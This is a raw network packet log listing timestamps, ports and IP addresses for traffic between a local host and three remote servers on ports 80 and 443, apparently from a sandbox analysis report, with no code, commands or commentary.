Nov 18, 2024 19:04:32.247243881 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247267962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247303009 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247320890 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247364998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247536898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247580051 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247612953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247626066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247653961 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247664928 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247704983 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.248560905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.251835108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.251856089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.251868963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.251924038 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.289242029 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.289268017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.289280891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.289334059 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.289377928 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.302700996 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302715063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302727938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302768946 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.302810907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.302851915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302865982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302877903 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302891016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.302900076 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.302932024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.303036928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303050995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303062916 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303083897 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.303116083 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.303150892 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303162098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303206921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.303378105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303389072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.303433895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.303445101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343213081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343226910 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343240023 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343290091 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343296051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343308926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343317986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343327045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343337059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343341112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343358994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343374014 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343384027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343564034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343576908 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343589067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343601942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343615055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343619108 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343627930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.343651056 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.343667030 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.344192028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344213963 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344229937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344237089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.344249964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.344269991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.344346046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344360113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344393969 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.344614029 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344636917 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344649076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.344715118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.362623930 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:32.362718105 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:32.362797976 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:32.362972021 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:32.362991095 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:32.365822077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.365833044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.365866899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.365909100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.365923882 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366056919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366070032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366080046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366101980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366127968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366133928 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366142988 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366156101 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366179943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366208076 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366322994 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366336107 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366347075 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366363049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366377115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366385937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366399050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366430044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.366765976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.366816044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.367434025 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.367480040 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.372359037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.372371912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.372384071 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.372442961 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.411410093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411448002 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411484957 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411509037 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.411550999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.411722898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411757946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411792994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411822081 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.411843061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.411869049 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.421578884 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421636105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421639919 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421672106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421691895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421705961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421725988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421750069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421760082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421794891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421808958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421842098 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421853065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421885967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421904087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421921968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421936035 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421957970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.421967030 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.421993017 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.422008991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.422072887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.422081947 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.422107935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.422120094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.422167063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463143110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463160992 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463177919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463207006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463243008 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463277102 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463288069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463298082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463310957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463329077 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463361979 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463499069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463510990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463521957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463535070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463558912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463576078 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463690042 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463733912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463741064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463752985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463790894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463802099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.463922977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463933945 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463943958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463957071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.463967085 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.464008093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.464104891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.464117050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.464128017 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.464138031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.464149952 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.464167118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486321926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486341953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486365080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486377954 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486382008 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486392021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486404896 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486418009 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486424923 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486457109 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486541033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486747980 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486761093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486773014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486799002 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486799002 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.486830950 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.486857891 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.488595963 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.488658905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.516350985 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:32.516390085 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:32.516463041 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:32.516855001 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:32.516868114 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:32.527105093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.527169943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.527808905 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.527859926 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.543217897 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543232918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543243885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543292046 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.543334961 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.543535948 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543549061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543561935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543576002 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.543584108 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.543617964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.544127941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544142008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544153929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544164896 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544177055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.544203043 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.544776917 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544789076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544800997 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.544822931 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.544853926 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.581981897 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582036972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582042933 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582072973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582087994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582108974 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582122087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582149982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582154036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582192898 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582242012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582276106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582293034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582381010 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582384109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582418919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582434893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582456112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582465887 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582504988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582771063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582823038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582823992 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582860947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582885027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582916975 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.582947969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582981110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.582998037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583029032 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583033085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583071947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583081007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583125114 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583127022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583158016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583184958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583213091 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583426952 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583462000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583482027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583513021 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583879948 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583913088 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583925962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583946943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583961964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.583983898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.583996058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.584017992 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.584031105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.584069014 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605047941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605103970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605127096 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605140924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605154037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605201960 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605212927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605247974 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605262041 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605299950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605313063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605335951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605362892 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605370998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605393887 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605412006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605442047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605474949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605499029 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605510950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.605525017 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.605555058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.606328964 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.606364965 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.606379986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.606400967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.606410980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.606441975 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.649233103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649318933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649374008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649429083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649466038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649465084 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.649499893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649528980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.649535894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.649553061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.649574995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.651473999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.652918100 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.652966022 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.653000116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.653024912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.662391901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662404060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662414074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662467003 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662499905 CET	80	49983	185.215.113.16	192.168.2.5
